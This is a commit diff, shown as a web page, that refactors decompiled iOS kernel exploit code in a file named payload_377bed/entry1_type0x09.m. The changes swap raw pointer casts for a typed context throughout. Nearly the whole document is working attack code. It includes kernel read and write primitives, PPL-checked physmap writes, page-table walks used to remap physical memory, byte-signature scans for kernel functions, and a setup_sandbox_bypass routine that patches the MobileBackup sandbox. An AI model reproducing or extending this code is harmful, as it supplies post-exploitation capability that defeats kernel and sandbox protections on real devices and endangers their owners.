CalvinBackup/coruna
1
0
Fork 0
mirror of https://github.com/khanhduytran0/coruna.git synced 2026-08-29 05:20:39 +02:00
Code Issues Packages Projects Releases Wiki Activity

Type physmap lookup krw callsites

Browse Source
This commit is contained in:
khanhduytran0
2026-06-05 20:01:58 +07:00
parent 1ff2c5e1f7
commit 69444e2f2d
1 changed files with 74 additions and 60 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/payload_377bed/entry1_type0x09.m
+74 -60
View File
@@ -763,7 +763,7 @@ enum
KRW_THREAD_STATE_OFFSET_A17 = 0x108, KRW_THREAD_STATE_OFFSET_A17 = 0x108,
}; };
#define KRW_CTX_AT(ctx, type, offset) (*(type *)((char *)(ctx) + (offset))) #define KRW_CTX_AT(ctx, type, offset) (*(type *)(KRWCTX_RAW_PTR(ctx) + (offset)))
enum enum
{ {
@@ -20089,6 +20089,7 @@ unsigned __int64 __fastcall find_kernel_func(__int64 *a1, __int64 *a2)
//----- (000000000001E85C) ---------------------------------------------------- //----- (000000000001E85C) ----------------------------------------------------
unsigned __int64 __fastcall find_kernel_func_versioned(__int64 *a1, int *a2) unsigned __int64 __fastcall find_kernel_func_versioned(__int64 *a1, int *a2)
{ {
struct_krwCtx *ctx; // x20
__int64 v4; // x20 __int64 v4; // x20
__int64 v5; // x0 __int64 v5; // x0
unsigned __int64 v6; // x0 unsigned __int64 v6; // x0
@@ -20101,7 +20102,8 @@ unsigned __int64 __fastcall find_kernel_func_versioned(__int64 *a1, int *a2)
unsigned __int64 text_range[3]; // [xsp+20h] [xbp-40h] BYREF unsigned __int64 text_range[3]; // [xsp+20h] [xbp-40h] BYREF
v4 = a1[35]; v4 = a1[35];
if ( krw_ctx_has_flag((struct_krwCtx *)v4, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) ) ctx = KRWCTX_FROM_UINTPTR(v4);
if ( krw_ctx_has_flag(ctx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
{ {
macho_find_text_section(*(uint64_t *)(v4 + 6648), text_range); macho_find_text_section(*(uint64_t *)(v4 + 6648), text_range);
scan_range[0] = text_range[0]; scan_range[0] = text_range[0];
@@ -20173,9 +20175,9 @@ unsigned __int64 __fastcall find_kread_pattern_versioned(__int64 a1, unsigned __
result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v9 + 24), 1); result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v9 + 24), 1);
if ( result ) if ( result )
{ {
result = kread_physmap_decorated(*(struct_krwCtx **)(a1 + 280), result, a2); result = kread_physmap_decorated(KRWCTX_FROM_RAW_FIELD(a1, 280), result, a2);
if ( (uint32_t)result ) if ( (uint32_t)result )
return kread_physmap_decorated(*(struct_krwCtx **)(a1 + 280), v10, a3); return kread_physmap_decorated(KRWCTX_FROM_RAW_FIELD(a1, 280), v10, a3);
} }
} }
} }
@@ -22197,6 +22199,7 @@ unsigned __int64 __fastcall krw_lookup_and_process_entry(struct_krwCtx *a1)
//----- (00000000000213D4) ---------------------------------------------------- //----- (00000000000213D4) ----------------------------------------------------
__n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4) __n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4)
{ {
struct_krwCtx *ctx; // x19
__int64 v8; // x23 __int64 v8; // x23
unsigned __int64 v9; // x1 unsigned __int64 v9; // x1
unsigned __int64 v10; // x9 unsigned __int64 v10; // x9
@@ -22232,6 +22235,7 @@ __n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3,
unsigned __int64 v40; // [xsp+0h] [xbp-50h] BYREF unsigned __int64 v40; // [xsp+0h] [xbp-50h] BYREF
unsigned __int64 v41; // [xsp+8h] [xbp-48h] BYREF unsigned __int64 v41; // [xsp+8h] [xbp-48h] BYREF
ctx = KRWCTX_FROM_UINTPTR(a1);
result.n128_u64[0] = 0; result.n128_u64[0] = 0;
result.n128_u64[1] = 0; result.n128_u64[1] = 0;
if ( !a3 ) if ( !a3 )
@@ -22248,7 +22252,7 @@ __n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3,
v10 = *(uint64_t *)(a1 + v8 + 1520); v10 = *(uint64_t *)(a1 + v8 + 1520);
if ( v10 <= a2 && v10 + *(unsigned int *)(a1 + v8 + 1528) > a2 ) if ( v10 <= a2 && v10 + *(unsigned int *)(a1 + v8 + 1528) > a2 )
{ {
if ( kreadbuf_universal((struct_krwCtx *)a1, v9, 8u, (void *)(a1 + v8 + 1544), a4) ) if ( kreadbuf_universal(ctx, v9, 8u, (void *)(a1 + v8 + 1544), a4) )
{ {
result = *(__n128 *)(a1 + v8 + 1512); result = *(__n128 *)(a1 + v8 + 1512);
v29 = *(__int128 *)(a1 + v8 + 1528); v29 = *(__int128 *)(a1 + v8 + 1528);
@@ -22264,7 +22268,7 @@ __n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3,
while ( v8 != 640 ); while ( v8 != 640 );
if ( !*(uint64_t *)(a1 + 1488) ) if ( !*(uint64_t *)(a1 + 1488) )
{ {
v24 = krw_lookup_and_process_entry((struct_krwCtx *)a1); v24 = krw_lookup_and_process_entry(ctx);
TRACE_DMAFAIL("pgtable_walk_full roots init ctx=%llx va=%llx ttbr0_pa_ptr=%llx off=%x page=%x flags=%x\n", TRACE_DMAFAIL("pgtable_walk_full roots init ctx=%llx va=%llx ttbr0_pa_ptr=%llx off=%x page=%x flags=%x\n",
(unsigned long long)a1, (unsigned long long)a1,
(unsigned long long)a2, (unsigned long long)a2,
@@ -22275,13 +22279,13 @@ __n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3,
if ( !v24 ) if ( !v24 )
return result; return result;
v25 = v24; v25 = v24;
if ( !kread_physmap_decorated((struct_krwCtx *)a1, v24, &v41) ) if ( !kread_physmap_decorated(ctx, v24, &v41) )
{ {
TRACE_DMAFAIL("pgtable_walk_full roots init read0 failed ptr=%llx\n", TRACE_DMAFAIL("pgtable_walk_full roots init read0 failed ptr=%llx\n",
(unsigned long long)v24); (unsigned long long)v24);
return result; return result;
} }
if ( !kread_physmap_decorated((struct_krwCtx *)a1, v25 + *(int *)(a1 + 360), &v40) ) if ( !kread_physmap_decorated(ctx, v25 + *(int *)(a1 + 360), &v40) )
{ {
TRACE_DMAFAIL("pgtable_walk_full roots init read1 failed ptr=%llx off=%x root0=%llx\n", TRACE_DMAFAIL("pgtable_walk_full roots init read1 failed ptr=%llx off=%x root0=%llx\n",
(unsigned long long)(v25 + *(int *)(a1 + 360)), (unsigned long long)(v25 + *(int *)(a1 + 360)),
@@ -22302,15 +22306,15 @@ __n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3,
*(uint64_t *)(a1 + 1488) = v27; *(uint64_t *)(a1 + 1488) = v27;
*(uint64_t *)(a1 + 1496) = v28; *(uint64_t *)(a1 + 1496) = v28;
*(uint32_t *)(a1 + 1504) = v26; *(uint32_t *)(a1 + 1504) = v26;
map_physpage_for_kobj((struct_krwCtx *)a1, v27); map_physpage_for_kobj(ctx, v27);
} }
if ( *(uint32_t *)(a1 + 384) == 4096 || krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A8) ) if ( *(uint32_t *)(a1 + 384) == 4096 || krw_ctx_has_flag(ctx, KRW_CTX_FLAG_CPU_A8) )
{ {
v12 = *(uint64_t *)(a1 + 1488); v12 = *(uint64_t *)(a1 + 1488);
v13 = *(uint64_t *)(a1 + 1496); v13 = *(uint64_t *)(a1 + 1496);
v14 = translate_physmap_addr_via_segments(a1, v12, v13, v13); v14 = translate_physmap_addr_via_segments(a1, v12, v13, v13);
v15 = (a2 >> 27) & 0x7F8; v15 = (a2 >> 27) & 0x7F8;
v16 = kreadbuf_universal((struct_krwCtx *)a1, v12 + v15, 8u, &v41, a4); v16 = kreadbuf_universal(ctx, v12 + v15, 8u, &v41, a4);
if ( !v16 ) if ( !v16 )
goto LABEL_58; goto LABEL_58;
v17 = v41; v17 = v41;
@@ -22341,7 +22345,7 @@ LABEL_15:
if ( (v41 & 0x800000000000000LL) != 0 ) if ( (v41 & 0x800000000000000LL) != 0 )
*(uint32_t *)(a3 + 20) |= 0x100u; *(uint32_t *)(a3 + 20) |= 0x100u;
v19 = translate_physmap_addr_via_segments(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 18) & 0xFF8); v19 = translate_physmap_addr_via_segments(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 18) & 0xFF8);
v16 = kreadbuf_universal((struct_krwCtx *)a1, v19, 8u, &v41, a4); v16 = kreadbuf_universal(ctx, v19, 8u, &v41, a4);
if ( v16 ) if ( v16 )
{ {
v17 = v41; v17 = v41;
@@ -22357,7 +22361,7 @@ LABEL_15:
if ( (v41 & 0x800000000000000LL) != 0 ) if ( (v41 & 0x800000000000000LL) != 0 )
*(uint32_t *)(a3 + 20) |= 0x100u; *(uint32_t *)(a3 + 20) |= 0x100u;
v19 = translate_physmap_addr_via_segments(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 9) & 0xFF8); v19 = translate_physmap_addr_via_segments(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 9) & 0xFF8);
v16 = kreadbuf_universal((struct_krwCtx *)a1, v19, 8u, &v41, a4); v16 = kreadbuf_universal(ctx, v19, 8u, &v41, a4);
if ( v16 ) if ( v16 )
{ {
v17 = v41; v17 = v41;
@@ -22379,11 +22383,11 @@ LABEL_57:
return result; return result;
v30 = *(uint64_t *)(a1 + 1488); v30 = *(uint64_t *)(a1 + 1488);
v31 = *(uint64_t *)(a1 + 1496); v31 = *(uint64_t *)(a1 + 1496);
has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A16_A17_MASK | KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER); has_flag = krw_ctx_has_flag(ctx, KRW_CTX_FLAG_CPU_A16_A17_MASK | KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER);
v33 = 2047; v33 = 2047;
if ( !has_flag ) if ( !has_flag )
v33 = 7; v33 = 7;
v16 = kreadbuf_universal((struct_krwCtx *)a1, v30 + 8 * ((unsigned __int64)(unsigned int)v33 & (a2 >> 36)), 8u, &v41, a4); v16 = kreadbuf_universal(ctx, v30 + 8 * ((unsigned __int64)(unsigned int)v33 & (a2 >> 36)), 8u, &v41, a4);
TRACE_DMAFAIL("pgtable_walk_full 16k L0 va=%llx root=%llx delta=%llx idx=%llx read=%llx ok=%d desc=%llx high=%d\n", TRACE_DMAFAIL("pgtable_walk_full 16k L0 va=%llx root=%llx delta=%llx idx=%llx read=%llx ok=%d desc=%llx high=%d\n",
(unsigned long long)a2, (unsigned long long)a2,
(unsigned long long)v30, (unsigned long long)v30,
@@ -22401,7 +22405,7 @@ LABEL_57:
if ( (v41 & 0x800000000000000LL) != 0 ) if ( (v41 & 0x800000000000000LL) != 0 )
*(uint32_t *)(a3 + 20) |= 0x100u; *(uint32_t *)(a3 + 20) |= 0x100u;
v35 = translate_physmap_addr_via_segments(a1, v30, v31, v34 & 0xFFFFFFFFC000LL) + ((a2 >> 22) & 0x3FF8); v35 = translate_physmap_addr_via_segments(a1, v30, v31, v34 & 0xFFFFFFFFC000LL) + ((a2 >> 22) & 0x3FF8);
v16 = kreadbuf_universal((struct_krwCtx *)a1, v35, 8u, &v41, a4); v16 = kreadbuf_universal(ctx, v35, 8u, &v41, a4);
TRACE_DMAFAIL("pgtable_walk_full 16k L1 va=%llx table=%llx idx=%llx read=%llx ok=%d desc=%llx\n", TRACE_DMAFAIL("pgtable_walk_full 16k L1 va=%llx table=%llx idx=%llx read=%llx ok=%d desc=%llx\n",
(unsigned long long)a2, (unsigned long long)a2,
(unsigned long long)(v34 & 0xFFFFFFFFC000LL), (unsigned long long)(v34 & 0xFFFFFFFFC000LL),
@@ -22425,7 +22429,7 @@ LABEL_57:
if ( (v41 & 0x800000000000000LL) != 0 ) if ( (v41 & 0x800000000000000LL) != 0 )
*(uint32_t *)(a3 + 20) |= 0x100u; *(uint32_t *)(a3 + 20) |= 0x100u;
v35 = translate_physmap_addr_via_segments(a1, v30, v31, v17 & 0xFFFFFFFFC000LL) + ((a2 >> 11) & 0x3FF8); v35 = translate_physmap_addr_via_segments(a1, v30, v31, v17 & 0xFFFFFFFFC000LL) + ((a2 >> 11) & 0x3FF8);
v16 = kreadbuf_universal((struct_krwCtx *)a1, v35, 8u, &v41, a4); v16 = kreadbuf_universal(ctx, v35, 8u, &v41, a4);
TRACE_DMAFAIL("pgtable_walk_full 16k L2 va=%llx table=%llx idx=%llx read=%llx ok=%d desc=%llx\n", TRACE_DMAFAIL("pgtable_walk_full 16k L2 va=%llx table=%llx idx=%llx read=%llx ok=%d desc=%llx\n",
(unsigned long long)a2, (unsigned long long)a2,
(unsigned long long)(v17 & 0xFFFFFFFFC000LL), (unsigned long long)(v17 & 0xFFFFFFFFC000LL),
@@ -22531,6 +22535,7 @@ __int64 __fastcall free_entry_struct(int a1, uint64_t *a2)
//----- (0000000000021960) ---------------------------------------------------- //----- (0000000000021960) ----------------------------------------------------
__int64 __fastcall validate_physmap_range_5(__int64 a1, vm_size_t **a2) __int64 __fastcall validate_physmap_range_5(__int64 a1, vm_size_t **a2)
{ {
struct_krwCtx *ctx; // x19
__int64 v4; // x21 __int64 v4; // x21
vm_size_t *v5; // x0 vm_size_t *v5; // x0
vm_size_t *v6; // x19 vm_size_t *v6; // x19
@@ -22574,6 +22579,7 @@ __int64 __fastcall validate_physmap_range_5(__int64 a1, vm_size_t **a2)
__int128 v45[4]; // [xsp+20h] [xbp-D0h] BYREF __int128 v45[4]; // [xsp+20h] [xbp-D0h] BYREF
__int128 v46[3]; // [xsp+60h] [xbp-90h] BYREF __int128 v46[3]; // [xsp+60h] [xbp-90h] BYREF
ctx = KRWCTX_FROM_UINTPTR(a1);
v4 = 708617; v4 = 708617;
v5 = (vm_size_t *)calloc(0x20u, 1u); v5 = (vm_size_t *)calloc(0x20u, 1u);
if ( v5 ) if ( v5 )
@@ -22587,7 +22593,7 @@ __int64 __fastcall validate_physmap_range_5(__int64 a1, vm_size_t **a2)
{ {
LABEL_20: LABEL_20:
v9 = 163855; v9 = 163855;
LODWORD(v8) = kread_physmap_decorated((struct_krwCtx *)a1, v16, &size); LODWORD(v8) = kread_physmap_decorated(ctx, v16, &size);
if ( (uint32_t)v8 ) if ( (uint32_t)v8 )
{ {
v7 = v16; v7 = v16;
@@ -22605,20 +22611,20 @@ LABEL_20:
v7 = v17; v7 = v17;
if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) ) if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{ {
LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v17, 48, v45); LODWORD(v8) = krw_read_thunk(ctx, v17, 48, v45);
if ( !(uint32_t)v8 ) if ( !(uint32_t)v8 )
goto LABEL_43; goto LABEL_43;
LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, *((uint64_t *)&v45[0] + 1) + 4LL, 16, v44); LODWORD(v8) = krw_read_thunk(ctx, *((uint64_t *)&v45[0] + 1) + 4LL, 16, v44);
if ( !(uint32_t)v8 ) if ( !(uint32_t)v8 )
goto LABEL_43; goto LABEL_43;
v17 = *(uint64_t *)&v45[0]; v17 = *(uint64_t *)&v45[0];
} }
else else
{ {
LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v17, 40, v46); LODWORD(v8) = krw_read_thunk(ctx, v17, 40, v46);
if ( !(uint32_t)v8 ) if ( !(uint32_t)v8 )
goto LABEL_43; goto LABEL_43;
LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)&v46[2] + 4LL, 16, v44); LODWORD(v8) = krw_read_thunk(ctx, *(uint64_t *)&v46[2] + 4LL, 16, v44);
if ( !(uint32_t)v8 ) if ( !(uint32_t)v8 )
goto LABEL_43; goto LABEL_43;
v17 = *(uint64_t *)&v46[0]; v17 = *(uint64_t *)&v46[0];
@@ -22665,7 +22671,7 @@ LABEL_108:
if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) ) if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{ {
v36 = 163855; v36 = 163855;
if ( kread_physmap_decorated((struct_krwCtx *)a1, v16, (unsigned __int64 *)v44) ) if ( kread_physmap_decorated(ctx, v16, (unsigned __int64 *)v44) )
{ {
v36 = 0; v36 = 0;
*(uint64_t *)&v46[0] = v44[0]; *(uint64_t *)&v46[0] = v44[0];
@@ -22679,7 +22685,7 @@ LABEL_108:
else else
{ {
v36 = 163855; v36 = 163855;
if ( kread_physmap_decorated((struct_krwCtx *)a1, v16, (unsigned __int64 *)v44) ) if ( kread_physmap_decorated(ctx, v16, (unsigned __int64 *)v44) )
{ {
v36 = 0; v36 = 0;
*(uint64_t *)&v45[0] = v44[0]; *(uint64_t *)&v45[0] = v44[0];
@@ -22695,9 +22701,9 @@ LABEL_108:
{ {
if ( (unsigned int)kwrite_with_retry(a1, v35, v42, v30) ) if ( (unsigned int)kwrite_with_retry(a1, v35, v42, v30) )
{ {
if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) ) if ( krw_ctx_has_flag(ctx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
{ {
if ( (uint32_t)ppl_kwrite_physmap_checked((struct_krwCtx *)a1, v16, v35) ) if ( (uint32_t)ppl_kwrite_physmap_checked(ctx, v16, v35) )
{ {
LABEL_86: LABEL_86:
v36 = 0; v36 = 0;
@@ -22752,7 +22758,7 @@ LABEL_3:
v13 = 48; v13 = 48;
else else
v13 = 64; v13 = 64;
LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v7, v13, v12); LODWORD(v8) = krw_read_thunk(ctx, v7, v13, v12);
if ( (uint32_t)v8 ) if ( (uint32_t)v8 )
{ {
if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) ) if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
@@ -22768,7 +22774,7 @@ LABEL_3:
{ {
*((uint32_t *)v6 + 4) = v15; *((uint32_t *)v6 + 4) = v15;
if ( !v15 if ( !v15
|| (LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v7 + v13, 22 * v15, (void *)v10), (uint32_t)v8) ) || (LODWORD(v8) = krw_read_thunk(ctx, v7 + v13, 22 * v15, (void *)v10), (uint32_t)v8) )
{ {
v4 = 0; v4 = 0;
*a2 = v6; *a2 = v6;
@@ -22795,7 +22801,7 @@ LABEL_116:
} }
if ( *(uint64_t *)(a1 + 344) >> 43 < 0x44Bu ) if ( *(uint64_t *)(a1 + 344) >> 43 < 0x44Bu )
{ {
resolve_kernel_text_range(v45, (struct_krwCtx *)a1); resolve_kernel_text_range(v45, ctx);
if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023) ) if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023) )
v21 = "0A 05 40 F9 2B 11 40 39"; v21 = "0A 05 40 F9 2B 11 40 39";
else else
@@ -22851,7 +22857,7 @@ LABEL_111:
else else
{ {
macho_find_text_section(v8, v46); macho_find_text_section(v8, v46);
if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) ) if ( krw_ctx_has_flag(ctx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
{ {
v18 = *(uint64_t *)(a1 + 7480); v18 = *(uint64_t *)(a1 + 7480);
if ( v18 ) if ( v18 )
@@ -22888,7 +22894,7 @@ LABEL_115:
} }
else else
{ {
LODWORD(v8) = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT); LODWORD(v8) = krw_ctx_has_flag(ctx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT);
if ( (uint32_t)v8 ) if ( (uint32_t)v8 )
{ {
v37 = *(uint64_t *)(*(uint64_t *)(a1 + 280) + 328LL); v37 = *(uint64_t *)(*(uint64_t *)(a1 + 280) + 328LL);
@@ -23198,13 +23204,13 @@ __int64 __fastcall memcmp20(__int64 a1, __int64 a2)
//----- (00000000000224AC) ---------------------------------------------------- //----- (00000000000224AC) ----------------------------------------------------
__int64 __fastcall krw_lookup_via_ctx_field32(__int64 a1, unsigned int a2) __int64 __fastcall krw_lookup_via_ctx_field32(__int64 a1, unsigned int a2)
{ {
return task_self_get_ipc_port(*(struct_krwCtx **)(a1 + 32), a2); return task_self_get_ipc_port(KRWCTX_FROM_RAW_FIELD(a1, 32), a2);
} }
//----- (00000000000224B4) ---------------------------------------------------- //----- (00000000000224B4) ----------------------------------------------------
unsigned __int64 __fastcall get_task_kobject_addr_from_field32(__int64 a1, unsigned int a2) unsigned __int64 __fastcall get_task_kobject_addr_from_field32(__int64 a1, unsigned int a2)
{ {
return get_task_kobject_addr(*(struct_krwCtx **)(a1 + 32), a2); return get_task_kobject_addr(KRWCTX_FROM_RAW_FIELD(a1, 32), a2);
} }
//----- (00000000000224BC) ---------------------------------------------------- //----- (00000000000224BC) ----------------------------------------------------
@@ -24421,6 +24427,7 @@ LABEL_58:
//----- (0000000000023D30) ---------------------------------------------------- //----- (0000000000023D30) ----------------------------------------------------
mach_vm_address_t __fastcall setup_sandbox_bypass(__int64 a1, char a2) mach_vm_address_t __fastcall setup_sandbox_bypass(__int64 a1, char a2)
{ {
struct_krwCtx *ctx; // x19
mach_vm_address_t result; // x0 mach_vm_address_t result; // x0
unsigned __int64 v5; // x1 unsigned __int64 v5; // x1
int v6; // w20 int v6; // w20
@@ -24433,33 +24440,34 @@ mach_vm_address_t __fastcall setup_sandbox_bypass(__int64 a1, char a2)
void *v14; // [xsp+20h] [xbp-50h] BYREF void *v14; // [xsp+20h] [xbp-50h] BYREF
uint64_t v15[4]; // [xsp+28h] [xbp-48h] BYREF uint64_t v15[4]; // [xsp+28h] [xbp-48h] BYREF
result = necp_set_opt_string_6(a1, mach_task_self_); ctx = KRWCTX_FROM_UINTPTR(a1);
result = necp_set_opt_string_6(ctx, mach_task_self_);
if ( !(uint32_t)result ) if ( !(uint32_t)result )
return result; return result;
if ( (a2 & 1) != 0 ) if ( (a2 & 1) != 0 )
{ {
if ( validate_kaddr_range(a1, *(uint64_t *)(a1 + 920)) if ( validate_kaddr_range(a1, *(uint64_t *)(a1 + 920))
&& !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) ) && !krw_ctx_has_flag(ctx, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) )
{ {
result = necp_set_opt_string_7((struct_krwCtx *)a1, *(uint32_t *)(a1 + 892), 0); result = necp_set_opt_string_7(ctx, *(uint32_t *)(a1 + 892), 0);
if ( (uint32_t)result ) if ( (uint32_t)result )
{ {
v5 = *(uint64_t *)(a1 + 6368); v5 = *(uint64_t *)(a1 + 6368);
if ( !v5 ) if ( !v5 )
{ {
v15[0] = 0; v15[0] = 0;
v5 = get_kobj_and_resolve_kaddr((struct_krwCtx *)a1, mach_task_self_, v15); v5 = get_kobj_and_resolve_kaddr(ctx, mach_task_self_, v15);
*(uint64_t *)(a1 + 6368) = v5; *(uint64_t *)(a1 + 6368) = v5;
*(uint64_t *)(a1 + 6376) = v15[0]; *(uint64_t *)(a1 + 6376) = v15[0];
} }
vm_attr_increment_offset_bounded((struct_krwCtx *)a1, v5, 10); vm_attr_increment_offset_bounded(ctx, v5, 10);
if ( *(int *)(a1 + 320) < 7195 ) if ( *(int *)(a1 + 320) < 7195 )
{ {
v14 = 0; v14 = 0;
v13 = 0; v13 = 0;
v12 = 0; v12 = 0;
v11 = 0; v11 = 0;
if ( (unsigned int)read_kernel_data_buf((struct_krwCtx *)a1, &v14, &v13, &v12, &v11, 1) ) if ( (unsigned int)read_kernel_data_buf(ctx, &v14, &v13, &v12, &v11, 1) )
{ {
if ( (unsigned int)parse_necp_opt_struct(a1, (__int16 *)v14, v13) ) if ( (unsigned int)parse_necp_opt_struct(a1, (__int16 *)v14, v13) )
{ {
@@ -24487,29 +24495,29 @@ mach_vm_address_t __fastcall setup_sandbox_bypass(__int64 a1, char a2)
else else
{ {
strcpy((char *)v15, "MobileBackup"); strcpy((char *)v15, "MobileBackup");
v6 = kwrite_sandbox_entry((struct_krwCtx *)a1, (__int64)v15); v6 = kwrite_sandbox_entry(ctx, (__int64)v15);
} }
necp_set_opt_string_7((struct_krwCtx *)a1, *(uint32_t *)(a1 + 892), *(uint64_t *)(a1 + 936)); necp_set_opt_string_7(ctx, *(uint32_t *)(a1 + 892), *(uint64_t *)(a1 + 936));
if ( !v6 ) if ( !v6 )
krw_ctx_set_flag((uint32_t *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED); krw_ctx_set_flag(ctx, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED);
return v6 == 0; return v6 == 0;
} }
return result; return result;
} }
return 1; return 1;
} }
if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) ) if ( !krw_ctx_has_flag(ctx, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) )
return 1; return 1;
v7 = get_task_kobj_and_walk_chain((struct_krwCtx *)a1, mach_task_self_); v7 = get_task_kobj_and_walk_chain(ctx, mach_task_self_);
if ( v7 ) if ( v7 )
{ {
v8 = *(uint64_t *)(a1 + 6376); v8 = *(uint64_t *)(a1 + 6376);
if ( !v8 ) if ( !v8 )
return 0; return 0;
result = kwrite64_dispatch((struct_krwCtx *)a1, v7, v8); result = kwrite64_dispatch(ctx, v7, v8);
if ( (uint32_t)result ) if ( (uint32_t)result )
{ {
krw_ctx_clr_flag((uint32_t *)a1, 4); krw_ctx_clr_flag(ctx, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED);
return 1; return 1;
} }
} }
@@ -24519,6 +24527,7 @@ mach_vm_address_t __fastcall setup_sandbox_bypass(__int64 a1, char a2)
//----- (0000000000023F78) ---------------------------------------------------- //----- (0000000000023F78) ----------------------------------------------------
__int64 __fastcall run_callback_with_physmap_write(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3) __int64 __fastcall run_callback_with_physmap_write(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3)
{ {
struct_krwCtx *ctx; // x19
__int64 result; // x0 __int64 result; // x0
__int64 v7; // x20 __int64 v7; // x20
mach_vm_address_t v8; // x23 mach_vm_address_t v8; // x23
@@ -24526,9 +24535,10 @@ __int64 __fastcall run_callback_with_physmap_write(__int64 a1, void (__fastcall
result = 0; result = 0;
if ( a1 ) if ( a1 )
{ {
ctx = KRWCTX_FROM_UINTPTR(a1);
if ( a2 ) if ( a2 )
{ {
result = necp_set_opt_string_6(a1, mach_task_self_); result = necp_set_opt_string_6(ctx, mach_task_self_);
if ( (uint32_t)result ) if ( (uint32_t)result )
{ {
v7 = *(uint64_t *)(a1 + 936); v7 = *(uint64_t *)(a1 + 936);
@@ -24553,7 +24563,7 @@ __int64 __fastcall run_callback_with_physmap_write(__int64 a1, void (__fastcall
goto LABEL_11; goto LABEL_11;
} }
result = pgtable_walk_and_physmap_remap( result = pgtable_walk_and_physmap_remap(
(struct_krwCtx *)a1, ctx,
*(uint64_t *)(a1 + 6384) + (unsigned int)((*(uint32_t *)(a1 + 892) + 1) * *(uint32_t *)(a1 + 360)), *(uint64_t *)(a1 + 6384) + (unsigned int)((*(uint32_t *)(a1 + 892) + 1) * *(uint32_t *)(a1 + 360)),
0); 0);
if ( (uint32_t)result ) if ( (uint32_t)result )
@@ -24572,7 +24582,7 @@ LABEL_11:
} }
else else
{ {
result = pgtable_walk_and_physmap_remap((struct_krwCtx *)a1, v8, v7); result = pgtable_walk_and_physmap_remap(ctx, v8, v7);
if ( !(uint32_t)result ) if ( !(uint32_t)result )
return result; return result;
} }
@@ -24637,6 +24647,7 @@ __int64 __fastcall another_sandbox_check(__int64 a1)
//----- (0000000000024208) ---------------------------------------------------- //----- (0000000000024208) ----------------------------------------------------
unsigned __int64 __fastcall find_appleevent_kaddr(__int64 a1) unsigned __int64 __fastcall find_appleevent_kaddr(__int64 a1)
{ {
struct_krwCtx *ctx; // x19
unsigned __int64 result; // x0 unsigned __int64 result; // x0
__int64 v3; // x8 __int64 v3; // x8
int has_flag; // w0 int has_flag; // w0
@@ -24651,6 +24662,7 @@ unsigned __int64 __fastcall find_appleevent_kaddr(__int64 a1)
__int64 v13[3]; // [xsp+0h] [xbp-50h] BYREF __int64 v13[3]; // [xsp+0h] [xbp-50h] BYREF
__int128 v14; // [xsp+18h] [xbp-38h] BYREF __int128 v14; // [xsp+18h] [xbp-38h] BYREF
ctx = KRWCTX_FROM_UINTPTR(a1);
result = *(uint64_t *)(a1 + 1472); result = *(uint64_t *)(a1 + 1472);
if ( result ) if ( result )
return result; return result;
@@ -24668,7 +24680,7 @@ LABEL_6:
} }
} }
} }
